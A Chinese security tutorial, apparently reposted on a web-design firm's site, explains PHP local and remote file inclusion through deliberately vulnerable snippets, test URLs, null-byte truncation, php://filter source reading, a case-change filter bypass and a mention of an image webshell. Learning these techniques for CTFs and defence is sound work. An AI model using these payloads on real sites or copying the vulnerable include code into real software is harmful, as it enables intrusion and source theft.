文件包含漏洞介紹:
成都創(chuàng)新互聯技術團隊十余年來致力于為客戶提供網站制作、網站建設、品牌網站設計、營銷型網站、搜索引擎SEO優(yōu)化等服務。經過多年發(fā)展,公司擁有經驗豐富的技術團隊,先后服務、推廣了千余家網站,包括各類中小企業(yè)、企事單位、高校等機構單位。
程序開發(fā)人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這中文件調用的過程一般被稱為文件包含。程序開發(fā)人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態(tài)調用,但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP、ASP、ASP.NET程序中卻非常少,甚至沒有,這是有些語言設計的弊端。在PHP中經常出現包含漏洞,但這并不意味這其他語言不存在。
漏洞成因:
文件包含漏洞的產生原因是在通過引入文件時,引用的文件名,用戶可控,由于傳入的文件名沒有經過合理的校驗,或者校驗被繞過,從而操作了預想之外的文件,就 可能導致意外的文件泄露甚至惡意的代碼注入。當被包含的文件在服務器本地時,就形成的本地文件包含漏洞,被包涵的文件在第三方服務是,就形成了遠程文件包 含漏洞。
漏洞危害:
執(zhí)行惡意代碼、包含惡意文件控制網站、甚至控制網站服務器等。
本地包含漏洞:
代碼:
<?PHP $file=@$_GET['name']; if($file){ include $file; } ?>
以以上這個代碼為例:
訪問:http://127.0.0.1/fileupload/include.php?name=1.txt
txt文件代碼為:
<?php phpinfo(); ?>
我們可以看到txt文件里的內容以php文件的方式執(zhí)行了;如下圖所示:
再看,如果訪問:http://127.0.0.1/fileupload/include.php?name=2.jpg
2.jpg是一個圖片的一句話***;
用菜刀可以直接連接,也就是說不管后綴是什么樣,最后都會以php的形式執(zhí)行。
但是有時候會這樣,這個在ISCC國賽中遇到了,就是在最后會自動加入.php,非常煩人。
代碼2:
<?php Include $_GET['page'].".php" ?>
執(zhí)行結果如下圖:
如果訪問:http://127.0.0.1/fileupload/include2.php?page=1.txt
還是報錯。
解決辦法:%00截斷
利用環(huán)境:php版本<5.3magic_quotes_gpc取消的(magic_quotes_gpc = off)
訪問:http://127.0.0.1/fileupload/include2.php?page=1.txt%00
遠程包含:
遠程的文件名不能為php可解析的擴展名(php、php5..),而且php.ini中allow_url_fopen和allow_url_include為On才可以。
訪問:http://127.0.0.1/fileupload/include.php?name=http://127.0.0.1/1.txt
如果是遇到這種情況:
可以用“?”或者“%00”階段;
http://127.0.0.1/fileupload/include2.php?page=http://127.0.0.1/1.txt?
讀取源碼:php://filter/read=convert.base64-encode/resource=1.txt
http://127.0.0.1/fileupload/include.php?name=php://filter/read=convert.base64-encode/resource=1.txt
讀取出來的是base64編碼的,進行解碼就行了。
php://input的用法
php://input
偽協議繞過大小寫:
<?php if(isset($_GET['f'])){ if(strpos($_GET['f'],"php") !== False){ die("error..."); } else{ include($_GET['f'] . '.php'); } } ?>
http://127.0.0.1//index.php?f=pHP://filter/read=convert.base64-encode/resource=index
readfile讀取文件,不可以getshell
<?php @readfile($_GET["file"]); ?>
總結:這些在iscc的國賽賽中出現過,如果當時會階段或者會讀取源碼,也就能獲獎了,學無止境,加油吧。
分享文章:文件包含漏洞之本地包含和遠程包含
轉載源于:http://jinyejixie.com/article24/igooce.html
成都網站建設公司_創(chuàng)新互聯,為您提供定制開發(fā)、外貿建站、虛擬主機、網站內鏈、品牌網站設計、網站制作
聲明:本網站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯